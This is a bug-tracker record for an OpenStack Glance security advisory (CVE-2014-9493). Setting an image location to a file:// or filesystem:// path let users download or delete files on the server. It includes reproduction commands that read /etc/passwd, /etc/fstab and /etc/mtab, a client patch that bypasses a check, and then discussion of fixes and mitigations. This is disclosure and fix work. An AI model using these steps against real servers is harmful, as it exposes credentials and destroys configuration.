[OSSA-2014-041] Glance allows users to download and delete any file in glance-api server (CVE-2014-9493)

Bug #1400966 reported by Masahito Muroi on 2014-12-10
304
This bug affects 6 people
Affects Status Importance Assigned to Milestone
Glance
Critical
Grant Murphy
Icehouse
Critical
Zhi Yan Liu
Juno
Critical
Zhi Yan Liu
Juniper Openstack
Status tracked in Trunk
Trunk
Critical
Unassigned
OpenStack Security Advisory
Critical
Grant Murphy
openstack-ansible
Critical
Ian Cordasco
Icehouse
Critical
Ian Cordasco
Juno
Critical
Ian Cordasco

Bug Description

Updating image-location by update images API users can download any file for which glance-api has read permission.
And the file for which glance-api has write permission will be deleted when users delete the image.

For example:
When users specify '/etc/passwd' as locations value of an image user can get the file by image download.

When locations of an image is set with 'file:///path/to/glance-api.conf' the conf will be deleted when users delete the image.

How to recreate the bug:
download files:
 - set show_multiple_locations True in glance-api.conf
 - create a new image
 - set locations of the image's property a path you want to get such as file:///etc/passwd.
 - download the image

delete files:
 - set show_multiple_locations True in glance-api.conf
 - create a new image
 - set locations of the image's property a path you want to delete such as file:///path/to/glance-api.conf
 - delete the image

I found this bug in 2014.2 (742c898956d655affa7351505c8a3a5c72881eae).

What a big A RE RE!!

CVE References

summary: - Glance allows users to download any file in glance-api server
+ Glance allows users to download and delete any file in glance-api server
description: updated
Grant Murphy (gmurphy) on 2014-12-10
Changed in ossa:
status: New → Incomplete

Thanks for the report, the OSSA task is set to incomplete pending additional security review from glance-coresec.

Stuart McLaren (stuart-mclaren) wrote :

I checked out 742c898956d655affa7351505c8a3a5c72881eae and set show_multiple_locations to be True.

I checked the server startup log to be sure it was set:

2014-12-10 16:37:23.803 6847 DEBUG glance.common.config [-] show_multiple_locations = True log_opt_values /mnt/ubuntu/git/glance-juno-stable/glance/.tox/py27/local/lib/python2.7/site-packages/oslo/config/cfg.py:1992

With the default store set to either file or swift I got:

$ glance image-update 7450abb5-fb9b-452a-abcf-416b571b57d6 --location file://etc/fstab
<html>
 <head>
  <title>400 Bad Request</title>
 </head>
 <body>
  <h1>400 Bad Request</h1>
  External sourcing not supported for store 'file'<br /><br />

 </body>
</html> (HTTP 400)

Can you provide more info (eg config files) to help reproduce?

Thanks.

Stuart McLaren (stuart-mclaren) wrote :

Reproduced:

$ glance --os-image-api-version 2 location-add --url file:///etc/fstab 7450abb5-fb9b-452a-abcf-416b571b57d6
+------------------+----------------------------------------------------------------------------------+
| Property | Value |
+------------------+----------------------------------------------------------------------------------+
| checksum | 398759a311bf25c6f1d67e753bb24dae |
| container_format | bare |
| created_at | 2014-12-10T16:35:47Z |
| disk_format | raw |
| file | /v2/images/7450abb5-fb9b-452a-abcf-416b571b57d6/file |
| id | 7450abb5-fb9b-452a-abcf-416b571b57d6 |
| locations | [{"url": "file:///mnt/ubuntu/images/7450abb5-fb9b-452a-abcf-416b571b57d6", |
| | "metadata": {}}, {"url": "file:///etc/fstab", "metadata": {}}] |
| min_disk | 0 |
| min_ram | 0 |
| name | img1 |
| owner | f68be3a5c2b14721a9e0ed2fcb750481 |
| protected | False |
| schema | /v2/schemas/image |
| size | 106 |
| status | active |
| tags | [] |
| updated_at | 2014-12-10T16:53:20Z |
| visibility | private |
+------------------+----------------------------------------------------------------------------------+

$ glance image-download 7450abb5-fb9b-452a-abcf-416b571b57d6
LABEL=cloudimg-rootfs / ext4 defaults 0 0
/dev/vdb /mnt auto defaults,nobootwait,comment=cloudconfig 0 2
(py27)ubuntu in ~/git/python-glanceclient on master*

Changed in glance:
status: New → Confirmed
Stuart McLaren (stuart-mclaren) wrote :

Note: v2 only I think.

Stuart McLaren (stuart-mclaren) wrote :

Note: set_image_location policy defaults to "" -- ie allowed by anyone. We should consider changing that to admin only.

Changed in glance:
importance: Undecided → High
Stuart McLaren (stuart-mclaren) wrote :
Download full text (4.7 KiB)

This can be exploited even when the server is configured with "show_multiple_locations = False".

(This is more serious because that is the default setting. )

2014-12-10 17:35:45.137 10953 DEBUG glance.common.config [-] show_multiple_locations = False log_opt_values /mnt/ubuntu/git/glance-juno-stable/glance/.tox/py27/local/lib/python2.7/site-packages/oslo/config/cfg.py:1992

Just patch the client (or send the equivalent request directly with curl):

$ git diff
diff --git a/glanceclient/v2/images.py b/glanceclient/v2/images.py
index 6ec9250..5037553 100644
--- a/glanceclient/v2/images.py
+++ b/glanceclient/v2/images.py
@@ -217,12 +217,10 @@ class Controller(object):
         :param metadata: Metadata associated with the location.
         :returns: The updated image
         """
- image = self._get_image_with_locations_or_fail(image_id)
- url_list = [l['url'] for l in image.locations]
- if url in url_list:
- err_str = 'A location entry at %s already exists' % url
- raise exc.HTTPConflict(err_str)
-
+ #image = self._get_image_with_locations_or_fail(image_id)
+ #url_list = [l['url'] for l in image.locations]
+ #if url in url_list:
+ # err_str = 'A location entry at %s already exists' % url
         add_patch = [{'op': 'add', 'path': '/locations/-',
                       'value': {'url': url, 'metadata': metadata}}]
         self._send_image_update_request(image_id, add_patch)

$ glance image-create --disk-format raw --container-format bare
+------------------+--------------------------------------+
| Property | Value |
+------------------+--------------------------------------+
| checksum | None |
| container_format | bare |
| created_at | 2014-12-10T17:36:13 |
| deleted | False |
| deleted_at | None |
| disk_format | raw |
| id | ca95d79e-7d0e-46d7-9561-72dc5540ed98 |
| is_public | False |
| min_disk | 0 |
| min_ram | 0 |
| name | None |
| owner | f68be3a5c2b14721a9e0ed2fcb750481 |
| protected | False |
| size | 0 |
| status | queued |
| updated_at | 2014-12-10T17:36:13 |
| virtual_size | None |
+------------------+--------------------------------------+

$ glance --os-image-api-version 2 location-add --url file:///etc/mtab ca95d79e-7d0e-46d7-9561-72dc5540ed98
+------------------+------------------------------------------------------+
| Property | Value |
+------------------+------------------------------------------------------+
| container_format | bare ...

Read more...

Jeremy Stanley (fungi) on 2014-12-10
Changed in ossa:
status: Incomplete → Confirmed
importance: Undecided → High

I haven't taken a closer look at this but my guess is that this behavior is down to filesystem store. Glance creates filesystem store for the location 'file:///' and fetches/deletes the images using this store. However, the fielsystem store isn't enforcing whether or not a given image location falls within the path where the images are usually stored. This path is indicated by 'filesystem_store_datadir' config option. At the following locations in filesystem store, it just looks for whether or not a given image location exists. If it exists, read/delete is performed accordingly.

https://github.com/openstack/glance_store/blob/master/glance_store/_drivers/filesystem.py#L331
https://github.com/openstack/glance_store/blob/master/glance_store/_drivers/filesystem.py#L414

For a quick fix, we can add a check to ensure that image location MUST fall under the path indicated by 'filesystem_store_datadir'. Only then a read/delete operation may be perfomed.

This assessment maybe completely off, please do correct me in that case. I shall take a closer look at this soon-ish.

Masahito Muroi (muroi-masahito) wrote :

I use v2 like Stuart mentioned in #4.

I realized that user also can get http responses from openstack or no openstack systems in DC. If operators have web based utility tools which don't authorize requests in the DC user can download the info. OpenStack API which require a token with requests don't matter this since glance checks first reachabilities for the location in the location-add.

Zhi Yan Liu (lzy-dev) on 2014-12-11
Changed in glance:
assignee: nobody → Zhi Yan Liu (lzy-dev)
Zhi Yan Liu (lzy-dev) wrote :

Hi Stuart, Hemanth,

Thanks for your analysis.

As an alternative solution regarding to changing store drive that Hemanth proposed above, I think we could make a similar limitation/check on image location update api like what we did in v1 [0] as well, to prevent user use patch api to handle file and swift location? A unique benefit of the way is that, IMO, it could make v2 api be consistent with v1 on this kind of request from client's perspective.

[0] https://github.com/openstack/glance/blob/master/glance/api/v1/images.py#L429

Thoughts?

Flavio Percoco (flaper87) wrote :

I agree with Zhi that a good, quick and probably most importantly *backportable* solution would be to add a similar check in v2 as we have in v1.

A future follow-up patch should a a proper verification process in the store code and make the server side use it.

Yes, I was also thinking adding the v1 style limitation to v2 is probably a good idea.

I'd also like to see the set and get location policies default to admin only -- what do others think about that? (IMHO playing directly with the locations should be something that power users 'opt in' to be able to do.)

Zhi Yan Liu (lzy-dev) wrote :

Hi Stuart, I'm thinking if that way/rule could be overkill for the image owner? For example, probably end user prepared/had an image content from an existing storage, then, IMO it's sensible to allow end user adds that location to own image. Am I miss any ting?

> IMO it's sensible to allow end user adds that location to own image.

It is currently an operator decision. Some operators will want to allow this and others will not. The question is: which is a better default for the set_image_location policy? My feeling is that a lot of new operators may not necessarily understand the finer details of allowing a user to set image locations directly. When it is enabled, there are far fewer assumptions that an operator can make about the state of the glance system, and the image data paths, which complicates administration.

It also increases the attack surface a lot (eg this and other bugs). I personally would like turning on the ability to set locations be an explicit decision by the operator -- that gives them a chance to consciously weigh up the advantages and disadvantages, and to 'nudge' them to leave it disabled unless they really need it.

Thierry Carrez (ttx) wrote :

Changing the set/get location policies default to admin only is not a bad idea, but that's a different patch (master only).

For the (backportable) vulnerability fix, we ideally need something which would close the hole without chaging behavior for "normal" users. Are there valid use cases for specifying a file:// location ? If not, I think having a v1-style check in v2 is the simplest solution.

Zhi Yan Liu (lzy-dev) wrote :

For the direction/idea of fixing driver, like Hemanth mentioned above, something in my mind is that: Totally I think it's a worth thing to get due to I think we'd better don't suppose glance_store lib are used by glance only, other project, e.g. Nova, probably could leverage it as well. I'm a little worried if that way could be a blocker for migration or upgrade operation on glance however, if we always checks if given image location are lived in configured storage directory(s) at [0], we could prevent the problem happen, but if operator changed option of glance-api with a new storage folder and want to keep existing image works (the existing locations in db are pointing to original path), this approach will cause all location of existing images to be invalid, and limits operator to do that kind of migration/upgrade operation - he/she can't change storage directory(s) option even there's an available image, unless updating db at the same time, but I think it's a little heavy.

[0] https://github.com/openstack/glance_store/blob/master/glance_store/_drivers/filesystem.py#L47,L50,L334

Any thoughts?

Thanks

Btw, the fix for glance was proposed at https://review.openstack.org/#/c/141706/ .

Now that the cat is unfortunately out of the bag, I switch this bug to public security.

Changed in glance:
importance: High → Critical
Changed in ossa:
importance: High → Critical
information type: Private Security → Public Security
Thierry Carrez (ttx) wrote :

Since this was unfortunately disclosed too early, posting a mitigation solution would be good. My understaning is that setting the set_image_location policy to admin-only is a way to work around the issue temporarily. Glance core, could you confirm ?

Zhi Yan Liu (lzy-dev) wrote :

Thierry, I'm sorry for that! I consider it's a valid workaround way, to switch set_image_location policy to admin.

Grant Murphy (gmurphy) wrote :

Draft impact description -

Title: Glance v2 API unrestricted path traversal
Reporter: Masahito Muroi (NTT)
Products: Glance
Versions: Versions 2012.2 up to 2014.2.1

Description:
Masahito Muroi from NTT reported a vulnerability in Glance v2 API. By setting a malicious image location an authenticated user can download or delete any file on the Glance server for which the glance-api process user has access to. Only setups using the Glance v2 API are affected by this flaw.

Note:
A potential mitigation strategy available for operators is to change the glance policy to restrict access to administrators for get_image_location, set_image_location, and delete_image_location.

The setting of policy to admin only makes sense.

However, there is a risk of backward incompatibility if a existing deployment runs with this assumption (and they knowingly change the policy in adherence to the security issue). Given the nature of the risk it (admin only policy) seems like a decent trade-off until a cleaner solution is proposed. We'd try to get the better fix sooner in kilo.

Thanks!

Thierry Carrez (ttx) on 2014-12-15
Changed in glance:
milestone: none → kilo-1
status: Confirmed → In Progress

@Grant, the affected version may be too broad, the bug might have been introduced by https://review.openstack.org/#/c/35134/ which was not merged before 2013.2. And as we don't support Havana anymore I think the version line should be:

Versions: up to 2014.1.3 and 2014.2 version up to 2014.2.1

Also while the leak seems to happens on the glance-api server, shouldn't we also consider registry and storage node to be likely affected as well ?

Zhi Yan Liu (lzy-dev) wrote :
Abel Lopez (al592b) wrote :

Is this limited to default_store=file ?
I'm unable to replicate using default_store=rbd

Matteo Panella (mpanella) wrote :

I can confirm that the issue can be reproduced on a fully up-to-date Icehouse installation with the default configuration (both v1 and v2 API enabled). The only prerequisites to reproduce it are a recent version of python-glanceclient (newer than 0.14.0 due to lp:1367326) and the patch mentioned in #6.

As a sidenote, after patching glance (or the policy) all credentials stored in files accessible by glance (especially those related to the operation of glance itself) should be revoked as a precautionary measure.

Can someone please propose a backport to Icehouse and Juno of the change https://review.openstack.org/#/c/141706/ ?

At least tests could not be trivially cherry-picked...

Erno Kuvaja (jokke) wrote :

Tristan: I'm on it.

Flavio Percoco (flaper87) wrote :

@Erno I've done Juno already and Zhi Yan is doing Icehouse.

Juno: https://review.openstack.org/#/c/142373/

Change abandoned by Erno Kuvaja (<email address hidden>) on branch: stable/juno
Review: https://review.openstack.org/142419
Reason: dup

Zhi Yan Liu (lzy-dev) on 2014-12-18
tags: added: havana-backport-potential
Thierry Carrez (ttx) on 2014-12-18
Changed in glance:
status: In Progress → Fix Committed
Thierry Carrez (ttx) on 2014-12-19
Changed in glance:
status: Fix Committed → Fix Released

Havana is not supported now. Removing the tag after discussing the same with Tristan Cacqueray.

tags: removed: havana-backport-potential
Thierry Carrez (ttx) on 2014-12-22
Changed in ossa:
status: Confirmed → In Progress
Thierry Carrez (ttx) wrote :

OSSA out, waiting for CVE allocation

Changed in ossa:
status: In Progress → Fix Committed
Jeremy Stanley (fungi) on 2015-01-04
summary: - Glance allows users to download and delete any file in glance-api server
+ [OSSA-2014-041] Glance allows users to download and delete any file in
+ glance-api server (CVE-2014-9493)

About Havana:

I think havana is not affected:

Here Icehouse fix: https://review.openstack.org/#/c/142788/3/glance/api/v1/images.py

And this is havana code:

    def _validate_source(source, req):
        if source:
            for scheme in ['s3', 'swift', 'http', 'rbd', 'sheepdog', 'cinder']:
                if source.lower().startswith(scheme):
                    return source
            msg = _("External sourcing not supported for store %s") % source
            raise HTTPBadRequest(explanation=msg, bla-bla-bla

Basically, havana will not accept anything except listed ('s3', 'swift', 'http', 'rbd', 'sheepdog', 'cinder'), and will rejects schemes 'file' and 'swift+config'.

Zhi Yan Liu (lzy-dev) wrote :

The key point for this issue is about the location validation missing in image v2 patch api, v1 stuff is ok for all havana, icehouse, juno releases.

Base on code, technically I'm sure stable/havana has this defect as well. ref https://github.com/openstack/glance/blob/havana-eol/glance/api/v2/images.py#L154 .

Ian Cordasco (icordasc) on 2015-01-07
Changed in openstack-ansible:
importance: Undecided → Critical
assignee: nobody → Ian Cordasco (icordasc)

Fix proposed to branch: master
Review: https://review.openstack.org/145537

Changed in openstack-ansible:
status: New → In Progress

Reviewed: https://review.openstack.org/145537
Committed: https://git.openstack.org/cgit/stackforge/os-ansible-deployment/commit/?id=233a71022e0ee90ddacc05126a0bc7265c1ad166
Submitter: Jenkins
Branch: master

commit 233a71022e0ee90ddacc05126a0bc7265c1ad166
Author: Ian Cordasco <email address hidden>
Date: Wed Jan 7 10:38:50 2015 -0600

    Prevent user from accessing privileged files

    Closes-bug: 1400966
    Related to OSSA-2014-041
    CVE-2014-9493

    Change-Id: I869b88cfe1bb8237f24d1e058ee7aac64806e230

Changed in openstack-ansible:
status: In Progress → Fix Committed
Grant Murphy (gmurphy) on 2015-01-07
Changed in ossa:
status: Fix Committed → Fix Released
Jin Liu (jin-t) wrote :
Download full text (11.0 KiB)

I merged this fix of icehouse then found one issue, I can still download file when use filesystem://, while I cannot delete file. When use file:// it looks working fine.

[<email address hidden>] /etc # glance image-create --disk-format raw --container-format bare
+------------------+--------------------------------------+
| Property | Value |
+------------------+--------------------------------------+
| checksum | None |
| container_format | bare |
| created_at | 2015-01-07T00:28:17 |
| deleted | False |
| deleted_at | None |
| disk_format | raw |
| id | c0294cd0-e971-4dc3-a4f4-63bb06427233 |
| is_public | False |
| min_disk | 0 |
| min_ram | 0 |
| name | None |
| owner | f28900596cdd4002b8a0a94599656857 |
| protected | False |
| size | 0 |
| status | queued |
| updated_at | 2015-01-07T00:28:17 |
| virtual_size | None |
+------------------+--------------------------------------+
[<email address hidden>] /etc #
[<email address hidden>] /etc # glance image-update --location filesystem:///etc/passwd c0294cd0-e971-4dc3-a4f4-63bb06427233
+------------------+--------------------------------------+
| Property | Value |
+------------------+--------------------------------------+
| checksum | None |
| container_format | bare |
| created_at | 2015-01-07T00:28:17 |
| deleted | False |
| deleted_at | None |
| disk_format | raw |
| id | c0294cd0-e971-4dc3-a4f4-63bb06427233 |
| is_public | False |
| min_disk | 0 |
| min_ram | 0 |
| name | None |
| owner | f28900596cdd4002b8a0a94599656857 |
| protected | False |
| size | 2292 |
| status | active |
| updated_at | 2015-01-07T00:28:32 |
| virtual_size | None |
+------------------+--------------------------------------+
[<email address hidden>] /etc # glance image-list
+--------------------------------------+---------+-------------+------------------+-----------+--------+
| ID | Name | Disk Format | Container Format | Size | Status |
+---------------...

Changed in openstack-ansible:
milestone: none → 9.0.6
milestone: 9.0.6 → 10.1.2
Changed in openstack-ansible:
milestone: 10.1.2 → 9.0.6
milestone: 9.0.6 → none

Change abandoned by Ian Cordasco (<email address hidden>) on branch: stable/icehouse
Review: https://review.openstack.org/145573
Reason: Sent to stable/icehouse instead of icehouse

Change abandoned by Ian Cordasco (<email address hidden>) on branch: stable/juno
Review: https://review.openstack.org/145575
Reason: Sent to stable/juno instead of juno

Ian Cordasco (icordasc) on 2015-01-07
no longer affects: openstack-ansible/next
Grant Murphy (gmurphy) wrote :

Looks as though the fix is incomplete. Using the filesystem URI scheme will still hit the same code path.

https://github.com/openstack/glance_store/blob/16295ae977ef70e23ec02bac5a2340a7dd22d7c5/glance_store/_drivers/filesystem.py#L86

Juno and master are also affected.

Grant Murphy (gmurphy) wrote :

Reopening bug as fix was incomplete. Will request a new CVE id when a fix is ready.

Changed in glance:
status: Fix Released → In Progress
assignee: Zhi Yan Liu (lzy-dev) → Grant Murphy (gmurphy)
Changed in ossa:
assignee: nobody → Grant Murphy (gmurphy)
status: Fix Released → In Progress
Zhi Yan Liu (lzy-dev) wrote :

I missed to block 'filesystem' due to file store support two schemas 'file' and 'filesystem', so the original solution is still correct, it just need to add 'filesystem' to disallowance list. Thanks Grant to add it.

Zhi Yan Liu (lzy-dev) wrote :

Minor improvement in async task for the reason https://review.openstack.org/145708 , ify.

Reviewed: https://review.openstack.org/145576
Committed: https://git.openstack.org/cgit/stackforge/os-ansible-deployment/commit/?id=b726fca969e88a4ab703a99b353b815ba01cc9b0
Submitter: Jenkins
Branch: juno

commit b726fca969e88a4ab703a99b353b815ba01cc9b0
Author: Ian Cordasco <email address hidden>
Date: Wed Jan 7 10:38:50 2015 -0600

    Prevent user from accessing privileged files

    Closes-bug: 1400966
    Related to OSSA-2014-041
    CVE-2014-9493

    Change-Id: I869b88cfe1bb8237f24d1e058ee7aac64806e230
    (cherry picked from commit 233a71022e0ee90ddacc05126a0bc7265c1ad166)

Reviewed: https://review.openstack.org/145577
Committed: https://git.openstack.org/cgit/stackforge/os-ansible-deployment/commit/?id=0e42c95ff016dfc0bf76f7ee8bae5cd72a9f4c9d
Submitter: Jenkins
Branch: icehouse

commit 0e42c95ff016dfc0bf76f7ee8bae5cd72a9f4c9d
Author: Ian Cordasco <email address hidden>
Date: Wed Jan 7 10:38:50 2015 -0600

    Prevent user from accessing privileged files

    Closes-bug: 1400966
    Related to OSSA-2014-041
    CVE-2014-9493

    Change-Id: I869b88cfe1bb8237f24d1e058ee7aac64806e230
    (cherry picked from commit 233a71022e0ee90ddacc05126a0bc7265c1ad166)

Thierry Carrez (ttx) wrote :

Let's track the filesystem: case on bug 1408663, for clarity.

Changed in ossa:
status: In Progress → Fix Released
Changed in glance:
status: In Progress → Fix Released

Reviewed: https://review.openstack.org/147666
Committed: https://git.openstack.org/cgit/openstack/ossa/commit/?id=e451978576f394bce41d201282b6fe0c6a061cba
Submitter: Jenkins
Branch: master

commit e451978576f394bce41d201282b6fe0c6a061cba
Author: Tristan Cacqueray <email address hidden>
Date: Thu Jan 15 21:18:39 2015 +0000

    Adds OSSA-2014-041

    Change-Id: Idf8fc5be42dd1e446db0ee3e93d10b6245af90ef
    Related-Bug: #1400966

Thierry Carrez (ttx) on 2015-04-30
Changed in glance:
milestone: kilo-1 → 2015.1.0
Changed in openstack-ansible:
status: Fix Committed → Fix Released
Kyrylo Romanenko (kromanenko) wrote :

On verification

Kyrylo Romanenko (kromanenko) wrote :

I have treied with several sequences of actions.
First i set show_multiple_locations = True
in /etc/glance/glance-api.conf
and restarted glance by: glance-control all restart

Flow 1

1) Created small image via Horizon GUI.

2) glance --os-image-api-version 2 location-add --url file:///etc/fstab f44eb9f7-2045-4118-b09b-fdfb71d58b2a
The administrator has disabled API access to image locations (HTTP 400)

OK

Flow 2

1) Created small image via GUI.

2) Added Metadata via Horizon url=file:///etc/fstab

3) glance image-download --file ~/small.iso f44eb9f7-2045-4118-b09b-fdfb71d58b2a

4) Checked contents of file - OK.

Flow 3

1) glance image-create --disk-format raw --container-format bare
2) glance --os-image-api-version 2 location-add --url file:///etc/mtab 22f3e03e-1431-4f31-a1c6-0cfe52ae3c43
The administrator has disabled API access to image locations (HTTP 400)

OK

Flow 4
1) glance image-create --disk-format raw --container-format bare

2) glance image-update --location filesystem:///etc/passwd 3b3a5f9d-690b-42d7-bfbf-aef5d82d73d2
<html>
 <head>
  <title>400 Bad Request</title>
 </head>
 <body>
  <h1>400 Bad Request</h1>
  External source are not supported: 'filesystem:///etc/passwd'<br /><br />

 </body>

Almost good, but CLI output could be like in Flow 1 and 3.

Kyrylo Romanenko (kromanenko) wrote :

Environement:
VERSION:
  feature_groups:
    - mirantis
  production: "docker"
  release: "6.1"
  openstack_version: "2014.2.2-6.1"
  api: "1.0"
  build_number: "432"
  build_id: "2015-05-18_03-43-53"
  nailgun_sha: "076566b5df37f681c3fd5b139c966d680d81e0a5"
  python-fuelclient_sha: "38765563e1a7f14f45201fd47cf507393ff5d673"
  astute_sha: "cb655a9a9ad26848bcd9d9ace91857b6f4a0ec15"
  fuel-library_sha: "1621cb350af744f497c35f2b3bb889c2041465d8"
  fuel-ostf_sha: "9ce1800749081780b8b2a4a7eab6586583ffaf33"
  fuelmain_sha: "0e970647a83d9a7d336c4cc253606d4dd0d59a60"

Deployment in VirtualBox. Ubuntu 14.04.1, Neutron VLAN, Cinder and Glance on LVM
1 Controller+Cinder
1 Compute+Cinder
1 Cinder

Kyrylo Romanenko (kromanenko) wrote :

Oh, i`d better to post it to MOS launchpad.

Review in progress for https://review.opencontrail.org/26021
Submitter: Ganesha HV (<email address hidden>)

Ganesha HV (ganeshahv) wrote :

invalid Bug ID mentioned in commit

To post a comment you must log in.
This report contains Public Security information  Edit
Everyone can see this security related information.

Other bug subscribers